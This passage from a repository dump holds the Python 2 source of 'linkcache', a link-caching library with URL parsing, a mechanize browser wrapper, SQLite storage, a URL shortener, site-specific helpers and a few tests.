config[name]['rewriter']\n self.line_rewriters.append((re.compile(regex),\n compile(rewriter, '', 'exec')))\n @staticmethod\n def check_config(config):\n if 'general' not in config:\n raise ConfigError(\"No 'general' section in config\")\n elif 'database' not in config['general']:\n raise ConfigError(\"No 'database' in 'general' section of config\")\n elif 'shortener' not in config['general']:\n raise ConfigError(\"No 'shortener' in 'general' section of config\")\n\n def fetch_by_shorturl(self, shorturl):\n result = self.database.fetch_by_shorturl(shorturl)\n if result:\n return LinkCacheResult(result)\n return None\n\n def fetch_by_url(self, url, channel=\"\"):\n result = self.database.fetch_by_url(url, channel)\n if result:\n return LinkCacheResult(result)\n return None\n\n def ping_url(self, result, flags, update_count):\n if update_count:\n result.count += 1\n result.last_seen = datetime.utcnow()\n self.database.increment_count(result.id)\n\n try:\n r = self.browser.open(result.url)\n if not result.alive:\n result.alive = 1\n try:\n self.database.set_url_alive(result.id)\n except Exception, e:\n print e\n print \"Failed to mark link alive\"\n return None\n\n if result.content_type is None:\n header = self.browser.response().info()\n type = None\n if 'Content-type' in header:\n type = header['Content-type']\n elif 'Content-Type' in header:\n type = header['Content-Type']\n self.database.set_content_type(result.id, type)\n result.content_type = type\n\n new_flags = result.merge_flags(flags)\n if result.flags != new_flags:\n result.flags = new_flags\n self.database.set_flags(result.id, new_flags)\n\n info = None\n if not result.title or result.title == \"\" or \\\n not result.description or result.description == \"\":\n info = self.lookup.get_helper_info(result.url)\n\n if info:\n if not result.title and 'title' in info:\n result.title = info['title']\n self.database.set_title(result.id, info['title'])\n\n if (not result.description or result.description == \"\") and \\\n 'description' in info:\n result.description = info['description']\n self.database.set_description(result.id, result.description)\n except urllib2.HTTPError, e:\n result.alive = 0\n try:\n self.database.set_url_dead(result.id)\n except Exception, e2:\n pass\n raise\n except UnicodeDecodeError, e:\n pass\n\n def call_rewriters(self, line):\n def exec_rewriter(rewriter, match):\n ns = { 'match' : match,\n 'line' : None }\n exec rewriter in ns\n return ns['line']\n\n for rewriter in self.line_rewriters:\n m = rewriter[0].match(line)\n if m:\n res = exec_rewriter(rewriter[1], m)\n if res:\n return res;\n\n return None\n\n def parse_line(self, line, user, update_count=True, channel=\"\"):\n \"\"\"\n Typical exceptions: urllib2.HTTPError\n \"\"\"\n interpolated = False\n title = None\n description = None\n content_type = None\n\n mapped = self.call_rewriters(line)\n if mapped:\n line = mapped\n\n match = httpUrlRegex.search(line)\n if match:\n url = match.group(3)\n mods = match.group(1)\n else:\n match = urlRegex.search(line)\n if match:\n url = match.group(4)\n mods = match.group(2)\n else:\n return None\n\n private = False\n flags = 0\n if mods:\n if '$' in mods:\n flags |= F_SPOILERS\n if '!' in mods:\n flags |= F_NSFW\n elif '~' in mods:\n flags |= F_MAYBE_NSFW\n if '^' in mods:\n private = True\n\n result = {}\n result['flags'] = flags\n result['private'] = private\n\n # URL without a protocol:// prefix\n if not httpUrlRegex.search(url) and self.allow_interpolation:\n interpolated = True\n\n if re.search(r\"^(([0-9]+)\\.)+(|[0-9]+)$\", url):\n m = ipAddressRegex.search(url)\n if not m:\n return None\n\n ip = m.group(2)\n array = ip.split('.', 4)\n if int(array[0]) == 0:\n return None\n\n for num in array:\n if (int(num) >= 255):\n return None\n\n url = \"http://\" + url\n\n if len(url) < self.minimum_length:\n return None\n\n # URL referencing the short link\n shorturl = self.shortener.self_reference(url)\n if shorturl:\n result = self.fetch_by_shorturl(url)\n if result is None:\n raise Exception(\"*** No match for shorturl %s\" % url)\n if not channel or result.channel == channel:\n result.last_seen = datetime.utcnow()\n result.count += 1\n self.database.increment_count(result.id)\n return result\n url = result.url\n\n try:\n result = self.fetch_by_url(url, channel)\n except AssertionError, e:\n raise\n except Exception, e:\n print \"EXCEPTION: %s\" % str(e)\n result = None\n\n if result is not None:\n self.ping_url(result, flags, update_count)\n return result\n\n charset = None\n deferred_exception = None\n try:\n r = self.browser.open(url)\n title = self.browser.title()\n if title is not None:\n title = \" \".join(title.split())\n title = unicode(title, self.browser.encoding())\n\n header = r.info()\n try:\n charset = header.getparam('charset')\n except:\n pass\n if 'Content-type' in header:\n content_type = header['Content-type']\n elif 'Content-Type' in header:\n content_type = header['Content-Type']\n except urllib2.HTTPError, e:\n if interpolated:\n return None\n if mapped is None:\n raise\n deferred_exception = e\n except urllib2.URLError, e:\n if interpolated:\n return None\n if mapped is None:\n raise\n deferred_exception = e\n except mechanize.BrowserStateError, e:\n title = \"\"\n except HTMLParser.HTMLParseError, e:\n title = \"\"\n\n if charset is None:\n charset = 'utf-8'\n\n info = self.lookup.get_helper_info(url)\n if info:\n helper = info['helper']\n info = info['data']\n if 'url' in info:\n url = info['url']\n\n try:\n result = self.fetch_by_url(url, channel)\n except Exception, e:\n result = None\n\n if result:\n self.ping_url(result, flags, update_count)\n return result\n\n if 'title' in info:\n title = info['title']\n\n if 'description' in info:\n description = info['description']\n if helper.clear_title:\n title = None\n elif deferred_exception:\n raise deferred_exception\n\n if content_type and 'html' in content_type and not description:\n description = self.lookup.get_html_description(r.read())\n\n if description:\n if not isinstance(description, unicode):\n description = unicode(description, charset)\n description = description.strip()\n\n if title is None:\n title = u\"\"\n else:\n if not isinstance(title, unicode):\n title = unicode(title, charset)\n title = title.strip()\n\n shorturl = self.shortener.pre_shorten(url)\n\n self.database.new_entry(url, shorturl, user, title, flags,\n content_type, description, channel, private)\n\n result = self.fetch_by_url(url, channel)\n if result is None:\n raise RuntimeWarning(\"Failed to fetch new entry after adding\")\n\n shorturl = self.shortener.post_shorten(url, result.id)\n if shorturl:\n result.shorturl = shorturl\n self.database.update_shorturl(result.id, shorturl)\n\n return result\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5137269496917725, "alphanum_fraction": 0.5265137553215027, "avg_line_length": 31.426828384399414, "blob_id": "3b7997f988ec3162a88d96da33c4cafb8b0cf1a2", "content_id": "b682ee1b8eb8041ca0951e3799a7f190ef9902a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2659, "license_type": "no_license", "max_line_length": 150, "num_lines": 82, "path": "/linkcache/browser.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport mechanize\nimport socket\nimport os\nimport csv\nimport gzip\nimport errno\n\n# This is a singleton browser implementation\n\nclass SingletonBrowser:\n __instance = None\n\n def __init__(self, cookiejar=None, passwords=None):\n if SingletonBrowser.__instance is None:\n __instance = SingletonBrowser.__impl(cookiejar, passwords)\n SingletonBrowser.__instance = __instance\n self.__dict__['_SingletonBrowser__instance'] = __instance\n\n def __getattr__(self, attr):\n return getattr(self.__instance, attr)\n\n def __setattr__(self, attr, value):\n return setattr(self.__instance, attr, value)\n class __impl(mechanize.Browser):\n def __init__(self, cookiejar, passwords):\n mechanize.Browser.__init__(self)\n cj = None\n self.cjfile = cookiejar\n if cookiejar:\n cj = mechanize.MozillaCookieJar()\n if os.path.exists(cookiejar):\n cj.load(cookiejar)\n self.set_cookiejar(cj)\n\n self.cj = cj\n\n socket.setdefaulttimeout(10)\n\n if passwords:\n try:\n f = open(passwords)\n except IOError, e:\n if e.errno != errno.ENOENT:\n raise\n f = open(passwords, \"w+\")\n csvfile = csv.reader(f, delimiter=',', quotechar='\"')\n for row in csvfile:\n self.add_password(*row)\n f.close()\n self.set_handle_robots(False)\n self.set_handle_refresh(False)\n self.addheaders = [\n ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')\n ]\n self.set_debug_http(False)\n\n def open(self, url):\n r = mechanize.Browser.open(self.__instance, url)\n headers = r.info()\n if 'Content-Encoding' in headers:\n if headers['Content-Encoding'] == 'gzip':\n gz = gzip.GzipFile(fileobj = r, mode = 'rb')\n html = gz.read()\n gz.close()\n headers['Content-type'] = 'text/html; charset=utf-8'\n del headers['Content-Encoding']\n r.set_data(html)\n self.set_response(r)\n if self.cj:\n self.cj.save(self.cjfile)\n return r;\n\nif __name__ == '__main__':\n b = SingletonBrowser('cookies.txt')\n\n f = b.open(\"http://www.ice-nine.org/matt/pics/mjw/2007/10/26\")\n\n print f.read()\n\n# vim: ts=4 sw=4 et\n" }, { "alpha_fraction": 0.5189986824989319, "alphanum_fraction": 0.5265980958938599, "avg_line_length": 25.630952835083008, "blob_id": "4c04070c12c573cbbf5d285fe1c48e14b0770842", "content_id": "f4ebc1004db64cb4acf7792d2facf54dc9e2e675", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2237, "license_type": "no_license", "max_line_length": 74, "num_lines": 84, "path": "/linkcache/database/sqlite.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport sql\nimport os\n#from pysqlite2 import dbapi2 as sqlite3\nimport sqlite3\n\nclass LinkSqlite(sql.LinkSql):\n auto_increment = \"AUTOINCREMENT\"\n field_placeholder = \"?\"\n def __init__(self, config):\n sql.LinkSql.__init__(self, config)\n self.filename = config['filename']\n self.db = None\n self.retries = 1\n create = os.path.exists(self.filename) is False\n\n self.connect()\n if create:\n self.create_tables()\n self.confirm_table()\n\n self.close()\n\n def connect(self):\n if self.db is None:\n self.db = sqlite3.connect(self.filename,\n detect_types=sqlite3.PARSE_COLNAMES)\n def close(self):\n if self.db:\n self.db.close()\n self.db = None\n\n def execute(self, command, args):\n self.connect()\n cursor = self.db.cursor()\n cursor.execute(command, args)\n self.db.commit()\n self.close()\n\n # Leaves the connection open since the fetch will require it\n def query(self, command, args):\n for i in range(0, self.retries + 1):\n try:\n self.connect()\n cursor = self.db.cursor()\n cursor.execute(command, args)\n except sqlite3.OperationalError, e:\n if i < self.retries:\n print e\n self.close()\n self.connect()\n else:\n self.close()\n raise\n else:\n break\n\n return cursor\n\n def query_one(self, query, args):\n cursor = self.query(query, args)\n result = cursor.fetchone()\n self.close()\n return result\n\n def query_all(self, query, args):\n cursor = self.query(query, args)\n result = cursor.fetchall()\n self.close()\n return result\n\n def describe(self, table):\n res = self.query_all(\"PRAGMA TABLE_INFO(%s)\" % table, ())\n table = {}\n for row in res:\n table[row[1]] = row[2]\n\n return table\n\ninstantiate = LinkSqlite\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5108762979507446, "alphanum_fraction": 0.5181272029876709, "avg_line_length": 29.94230842590332, "blob_id": "c81a0ac374e399b1172e0679599315eff2f5b1ac", "content_id": "c1885e074bd622bae45bb004aac7a4070379b54a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4827, "license_type": "no_license", "max_line_length": 80, "num_lines": 156, "path": "/linkcache/database/sql.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport db\nimport time\nimport datetime\n\nclass LinkSql(db.LinkDb):\n def __init__(self, config):\n db.LinkDb.__init__(self, config)\n assert('field_placeholder' in dir(self))\n assert('auto_increment' in dir(self))\n\n def create_tables(self):\n q = r\"CREATE TABLE url (\"\n q += r\"id INTEGER PRIMARY KEY %s, \" % self.auto_increment\n q += r\"url TEXT NOT NULL, \"\n q += r\"shorturl TEXT, \"\n q += r\"user TEXT NOT NULL, \"\n q += r\"first_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP, \"\n q += r\"last_seen TIMESTAMP, \"\n q += r\"title TEXT, \"\n q += r\"flags INT, \"\n q += r\"type TEXT, \"\n q += r\"description TEXT, \"\n q += r\"channel TEXT, \"\n q += r\"private INT DEFAULT 0, \"\n q += r\"count INT DEFAULT 1, \"\n q += r\"usecount INT DEFAULT 1, \"\n q += r\"alive INT DEFAULT 1 \"\n q += r\" )\"\n self.execute(q, ())\n\n def confirm_table(self):\n results = self.describe('url')\n\n assert('id' in results)\n assert('url' in results)\n assert('shorturl' in results)\n assert('user' in results)\n assert('first_seen' in results)\n assert('last_seen' in results)\n assert('title' in results)\n assert('flags' in results)\n assert('type' in results)\n assert('description' in results)\n assert('channel' in results)\n assert('private' in results)\n assert('count' in results)\n assert('alive' in results)\n\n assert('int' in results['id'].lower())\n assert(results['first_seen'].lower() == 'timestamp')\n assert(results['last_seen'].lower() == 'timestamp')\n\n def execute(self, command, args):\n pass\n\n def query_one(self, command, args):\n pass\n\n def update(self, id, field, value):\n args = (value, id)\n query = \"\"\"UPDATE url SET %s = %s WHERE id = %s\"\"\" % (field,\n self.field_placeholder, self.field_placeholder)\n self.execute(query, args)\n\n def increment_count(self, id):\n query = \"\"\"UPDATE url SET count = count + 1, \"\"\"\n query += \"\"\"last_seen = CURRENT_TIMESTAMP WHERE id = %s\"\"\" % \\\n self.field_placeholder\n self.execute(query, (id, ))\n\n def new_entry(self, url, shorturl, user, title, flags=0, content_type=None,\n description=None, channel=\"\", private=0):\n\n if shorturl is None:\n shorturl = \"\"\n\n data = {\n 'url' : url,\n 'shorturl' : shorturl,\n 'user' : user,\n 'title' : title,\n 'flags' : flags,\n }\n\n if content_type is not None:\n data['type'] = content_type\n\n if description is not None:\n data['description'] = description\n\n if private != 0:\n data['private'] = private\n\n if channel:\n data['channel'] = channel\n else:\n data['channel'] = ''\n\n columns = ', '.join(data.keys())\n values = ', '.join([self.field_placeholder] * len(data))\n query = \"INSERT INTO url (%s, first_seen, last_seen) \" % columns\n query += \"VALUES (%s, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)\" % values\n\n self.execute(query, tuple(data.values()))\n\n @staticmethod\n def row_to_result(row):\n assert(isinstance(row[3], datetime.datetime))\n assert(isinstance(row[5], datetime.datetime))\n\n return {\n 'url' : row[0],\n 'user' : row[1],\n 'count' : int(row[2]),\n 'first_seen' : row[3],\n 'title' : row[4],\n 'request_timestamp' : row[5],\n 'alive' : row[6],\n 'flags' : int(row[7]),\n 'private' : row[8],\n 'type' : row[9],\n 'description' : row[10],\n 'shorturl' : row[11],\n 'id' : row[12],\n 'channel' : row[13],\n 'last_seen' : row[14],\n }\n\n def fetch_by_field(self, field, value, channel=\"\"):\n query = \"\"\"SELECT url, user, count, first_seen as 'ts [timestamp]', \"\"\"\n query += \"\"\"title, CURRENT_TIMESTAMP as 'ts [timestamp]', alive, \"\"\"\n query += \"\"\"flags, private, type, description, shorturl, id, \"\"\"\n query += \"\"\"channel, last_seen as 'ts [timestamp]' \"\"\"\n query += \"\"\"FROM url WHERE %s = %s\"\"\" % (field, self.field_placeholder)\n\n args = [value]\n\n if channel is not None:\n query += \" AND channel = %s\" % self.field_placeholder\n args.append(channel)\n\n row = self.query_one(query, args)\n if row:\n return self.row_to_result(row)\n return None\n\n def close(self):\n pass\n\n def flush(self):\n pass\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5453125238418579, "alphanum_fraction": 0.557812511920929, "avg_line_length": 21.068965911865234, "blob_id": "9c7a002e43526c596529ce0f14edbfa1b39e9990", "content_id": "edf8d9c1a614c29845d22da596ea70f2c5d2de5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 640, "license_type": "no_license", "max_line_length": 60, "num_lines": 29, "path": "/setup.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom setuptools import setup, find_packages\nsetup(\n name = \"linkcache\",\n version = \"0.9\",\n packages = find_packages(),\n package_data = {\n '' : [ \"*.dist\" \"*.txt\" ],\n \"tests\" : [ \"passwords.txt\" ],\n },\n\n install_requires = [\n \"python_twitter\",\n \"mechanize\",\n \"soundcloud\",\n \"wolframalpha\",\n \"beautifulsoup4\",\n ],\n\n author = \"Jeff Mahoney\",\n author_email = \"[email protected]\",\n description = \"Link caching library\",\n license = \"GPL v2 only\",\n\n test_suite = \"linkcache.tests.test_all\",\n\n)\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6200735569000244, "alphanum_fraction": 0.6400420665740967, "avg_line_length": 30.71666717529297, "blob_id": "62e85677f64d3b71a2956269263ae8145c4e7771", "content_id": "eb27ada5c47d866d5474a3b701192650706e6ac9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1903, "license_type": "no_license", "max_line_length": 68, "num_lines": 60, "path": "/linkcache/tests/test_youtube.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport setup\nimport unittest\n\nfrom linkcache import browser\nfrom linkcache.helpers import youtube\n\nclass YoutubeTestCase(unittest.TestCase):\n def setUp(self):\n self.browser = browser.SingletonBrowser()\n self.helper = youtube.instantiate(None)\n\n def test_matching(self):\n link = \"https://www.youtube.com/eRvk5UQY1Js\"\n self.assertTrue(self.helper.match(link))\n\n link = \"https://www.youtube.com/watch?v=eRvk5UQY1Js\"\n self.assertTrue(self.helper.match(link))\n\n link = \"https://youtu.be/Ldgp3Ton7R4\"\n self.assertTrue(self.helper.match(link))\n\n link = \"https://youtu.be/watch?v=Ldgp3Ton7R4\"\n self.assertTrue(self.helper.match(link))\n\n link = \"http://www.youtube.com/eRvk5UQY1Js\"\n self.assertTrue(self.helper.match(link))\n\n link = \"http://www.youtube.com/watch?v=eRvk5UQY1Js\"\n self.assertTrue(self.helper.match(link))\n\n link = \"http://youtu.be/Ldgp3Ton7R4\"\n self.assertTrue(self.helper.match(link))\n\n link = \"http://youtu.be/watch?v=Ldgp3Ton7R4\"\n self.assertTrue(self.helper.match(link))\n\n link = \"https://www.google.com/\"\n self.assertFalse(self.helper.match(link))\n\n def test_timecode(self):\n title = \"She Takes A Photo: 6.5 Years | Beckie0 - YouTube\"\n link = \"https://youtu.be/eRvk5UQY1Js?t=1m30s\"\n url = \"https://www.youtube.com/watch?v=eRvk5UQY1Js#t=1m30s\"\n ret = self.helper.fetch(self.browser, link)\n\n self.assertTrue(ret is not None)\n self.assertIsInstance(ret, dict)\n self.assertTrue('title' in ret)\n self.assertTrue(ret['title'] == title + \" [timecode]\")\n\n self.assertTrue('url' in ret)\n self.assertTrue(ret['url'] == url)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6547008752822876, "alphanum_fraction": 0.6632478833198547, "avg_line_length": 14.394737243652344, "blob_id": "e75d550f9a0573e1a1a98e714ff89b642e8c2127", "content_id": "dc0ee207946e912430bf251ac04924697016365a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 585, "license_type": "no_license", "max_line_length": 60, "num_lines": 38, "path": "/linkcache/tests/helpers.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport sys\nimport os\nimport common\n\nimport linkcache\nburrowiki\nimgur\nreadability\nshorturl\ntwitterhelper\nyoutube\nsoundcloudhelper\n\nclass HelperTests(common.LinkCacheTestCase):\n def test_burrowiki(self):\n pass\n\n def test_imgur(self):\n pass\n\n def test_readability(self):\n pass\n\n def test_shorturl(self):\n pass\n\n def test_twitter(self):\n pass\n\n def test_youtube(self):\n pass\n\n def test_soundcloud(self):\n pass\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5325803756713867, "alphanum_fraction": 0.536924421787262, "avg_line_length": 28.139240264892578, "blob_id": "914b86a59f86e759dc0a46c49e006d2909eb6055", "content_id": "01e3d09d363c06ba648c8d82a02f2b2b24c38128", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2302, "license_type": "no_license", "max_line_length": 81, "num_lines": 79, "path": "/linkcache/helpers/wolframalphahelper.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport wolframalpha\nimport json\nimport re\nfrom urllib import unquote_plus\n\nfrom xml.etree import ElementTree as etree\n\nclass NoResultError(Exception):\n pass\n\nclass AmbiguousResultError(Exception):\n pass\n\nclass WolframAlphaHelper(UrlHelper):\n config_section = 'wolframalpha'\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.url_regex = re.compile('http://www.wolframalpha.com/input/\\?i=(.*)')\n self.appid = config['appid']\n\n def fetch(self, browser, url):\n query = self.url_regex.search(url).group(1)\n expression = unquote_plus(query)\n client = wolframalpha.Client(self.appid)\n res = client.query(expression)\n\n interpretation = None\n result = next(res.results, \"\")\n if result != \"\":\n result = result.text\n\n for pod in res.pods:\n if pod.title == \"Input interpretation\":\n interpretation = pod.text\n elif not result and pod.title == \"Current result\":\n result = pod.text\n elif pod.title == \"Input\":\n interpretation = pod.text\n\n try:\n if not interpretation:\n interpretation = res.pods[0].text\n\n if not result:\n result = res.pods[1].text\n except IndexError:\n pass\n\n if interpretation and result:\n result = \"%s: %s\" % (interpretation, result)\n\n if not result:\n try:\n dyms = res.tree.findall('didyoumeans')[0].findall('didyoumean')\n options = []\n for dym in dyms:\n options.append(dym.text)\n if len(options) > 1:\n prefix = \"one of \"\n else:\n prefix = \"\"\n raise AmbiguousResultError(\"Did you mean %s[%s]?\" % \\\n (prefix, \", \".join(options)))\n except IndexError:\n pass\n\n raise NoResultError(\"No results found.\")\n\n return {\n 'description' : result,\n 'title' : None,\n }\n\ninstantiate = WolframAlphaHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6516516804695129, "alphanum_fraction": 0.672672688961029, "avg_line_length": 22.714284896850586, "blob_id": "69b5a7b211477eebccaac7a3bab14b536de0e6d2", "content_id": "639827334b3e3c02292f709ad852617342d91e3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 333, "license_type": "no_license", "max_line_length": 73, "num_lines": 14, "path": "/linkcache/tests/test_rewriter.ini", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "[general]\ndatabase: sqlite\nshortener: none\nrewriters: google\nhelpers:\n\n[sqlite]\nfilename: test.sqlite3\n\n[google]\nregex: ^(\\w*\\s*\\|\\s*|)@google (.*)\nrewriter: from urllib import urlencode\n terms = urlencode({'btnI' : \"I'm Feeling Lucky\", 'q' : match.group(2)})\n line = \"http://www.google.com/search?hl=en&ie=ISO-8859-1&%s\" % terms\n\n" }, { "alpha_fraction": 0.8046875, "alphanum_fraction": 0.8046875, "avg_line_length": 41.66666793823242, "blob_id": "8e1edf73d2a9e8fe6290c39d56e8b3673006d84a", "content_id": "70feac9b6d95efc0c5edc0238b739cf8714f415d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 128, "license_type": "no_license", "max_line_length": 60, "num_lines": 3, "path": "/README.md", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "Dependencies:\n[twitter] https://github.com/bear/python-twitter.git\n[soundcloud] https://github.com/soundcloud/soundcloud-python\n" }, { "alpha_fraction": 0.4370405375957489, "alphanum_fraction": 0.45079439878463745, "avg_line_length": 23.51744270324707, "blob_id": "282065912ff7e226f91787bbd3a908741a6a34a7", "content_id": "0ec32a29bc70149a117fc6caa0c1d6312552d80f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4217, "license_type": "no_license", "max_line_length": 75, "num_lines": 172, "path": "/linkcache/result.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom datetime import datetime\nimport re\n\nF_SPOILERS = 0x4\nF_NSFW = 0x2\nF_MAYBE_NSFW = 0x1\n\nM_NSFW = F_NSFW | F_MAYBE_NSFW\n\nclass LinkCacheResult:\n def __init__(self, result={}):\n self.url = None\n self.flags = 0\n self.private = False\n self.id = None\n self.count = None\n self.title = None\n self.first_seen = None\n self.request_timestamp = None\n self.url_line = None\n self.user = None\n self.content_type = None\n self.description = None\n self.shorturl = None\n self.id = None\n self.channel = None\n self.last_seen = None\n\n if type(result) is str:\n self.user = result\n return\n\n for key, value in result.iteritems():\n setattr(self, key, value)\n\n if 'first_seen' in result:\n assert(isinstance(result['first_seen'], datetime))\n\n if 'request_timestamp' in result:\n assert(isinstance(result['request_timestamp'], datetime))\n\n def timeAgo(self):\n ago = \"\"\n delta = self.request_timestamp - self.first_seen\n\n years = int(delta.days / 365.24)\n days = int(delta.days % 365.24)\n weeks = days / 7\n days %= 7\n\n hours = delta.seconds / (60*60)\n seconds = delta.seconds % (60*60)\n minutes = seconds / 60\n seconds %= 60\n\n months = 0\n if weeks > 10:\n months = weeks / 4\n days += (weeks % 4) * 7\n weeks = 0\n\n if years > 0:\n hours = minutes = seconds = 0\n ago = str(years) + \"y\"\n\n if months > 0:\n hours = minutes = seconds = 0\n if ago != \"\":\n ago += \", \"\n ago += str(months) + \"m\"\n\n if weeks > 0:\n minutes = seconds = 0\n if ago != \"\":\n ago += \", \"\n ago += str(weeks) + \"w\"\n\n if days > 0:\n minutes = seconds = 0\n if ago != \"\":\n ago += \", \"\n ago += str(days) + \"d\"\n\n if hours > 0:\n seconds = 0\n if ago != \"\":\n ago += \", \"\n ago += str(hours) + \"h\"\n\n if minutes > 0:\n if ago != \"\":\n ago += \", \"\n ago += str(minutes) + \"m\"\n\n if seconds > 0:\n if ago != \"\":\n ago += \", \"\n ago += str(seconds) + \"s\"\n else:\n if ago == \"\":\n ago = \"0s\"\n ago += \" ago\"\n\n return ago\n\n def merge_flags(self, new_flags):\n orig = self.flags\n\n if orig & F_MAYBE_NSFW and new_flags & F_NSFW:\n orig &= ~F_MAYBE_NSFW\n elif orig & F_NSFW and new_flags & F_MAYBE_NSFW:\n new_flags &= ~F_MAYBE_NSFW\n\n return orig | new_flags\n\n def pretty_flags(self):\n flags = []\n if self.flags & F_NSFW:\n flags.append(\"NSFW\")\n elif self.flags & F_MAYBE_NSFW:\n flags.append(\"~NSFW\")\n\n if self.private:\n flags.append(\"P\")\n\n if self.flags & F_SPOILERS:\n flags.append(\"SPOILERS\")\n\n if flags:\n return \",\".join(flags)\n else:\n return None\n\n def pretty_title(self):\n title = self.title\n if title:\n title += \"\"\n elif self.description:\n title = self.description.replace(\"\\r\\n\", \"\\n\")\n\n flags = self.pretty_flags()\n if flags:\n title = \"[\" + flags + \"] \" + title\n\n return title\n\n def pretty_stats(self):\n alive = \"\"\n if not self.alive:\n alive = \" DEAD\"\n return \"[%dx, %s, %s%s] \" % (self.count, self.user, self.timeAgo(),\n alive)\n\n def __unicode__(self):\n line = self.pretty_title()\n if line:\n line = '(' + re.sub(r\"\\n+\", \" \", line) + ')'\n else:\n line = \"\"\n\n if self.count > 1:\n line += \" %s\" % self.pretty_stats()\n\n return line\n\n def __str__(self):\n return self.__unicode__().encode('utf-8')\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5071482062339783, "alphanum_fraction": 0.5349887013435364, "avg_line_length": 27.89130401611328, "blob_id": "fa11359130ac72c4dc7c2446960e8a7396b0db7e", "content_id": "b62192133fe2d7ea7d379f66ef98ecdef1b1eb12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1329, "license_type": "no_license", "max_line_length": 86, "num_lines": 46, "path": "/linkcache/shorteners/iorek.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport re\nimport common\n\nselfRefRegex = re.compile(r\"https?://(www.|)ice-nine.org/(l|link.php)/([A-Za-z0-9]+)\")\nclass IorekShortener(common.GenericShortener):\n def url_to_id(self, id):\n map = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"\n num = 0\n base = 0\n for chr in id:\n val = map.index(chr)\n if base == 0:\n if val <= 0:\n raise Exceptiom, \"Out of range\"\n base = val\n else:\n if val > base:\n raise Exception, \"Out of range(2)\"\n val = map.index(chr)\n num *= base\n num += val\n return num\n\n def map_id(self, id):\n map = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"\n out = \"\"\n base = id % 34 + 26\n while id > 0:\n index = id % base\n out = map[index] + out\n id = id / base\n\n return map[base] + out\n\n def self_reference(self, url):\n return selfRefRegex.search(url) is not None\n\n def post_shorten(self, url, id):\n return \"https://ice-nine.org/l/%s\" % self.map_id(id)\n\ninstantiate = IorekShortener\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5039710998535156, "alphanum_fraction": 0.5072202086448669, "avg_line_length": 27.26530647277832, "blob_id": "cccbbdb037296695c8d56ac12c829eca755aab5e", "content_id": "5aea48f81d129e76670d6b24fca08314c7f0164a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2770, "license_type": "no_license", "max_line_length": 76, "num_lines": 98, "path": "/linkcache/lookup.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport helpers\nimport browser\nfrom bs4 import BeautifulSoup\n\nclass Lookup:\n def __init__(self, config):\n self.config = config\n (self.helpers, self.mods) = helpers.load(config)\n self.browser = browser.SingletonBrowser()\n\n def find_helper(self, url):\n for helper in self.helpers:\n if helper.match(url) is True:\n return helper\n return None\n\n def get_helper_info(self, url):\n helper = 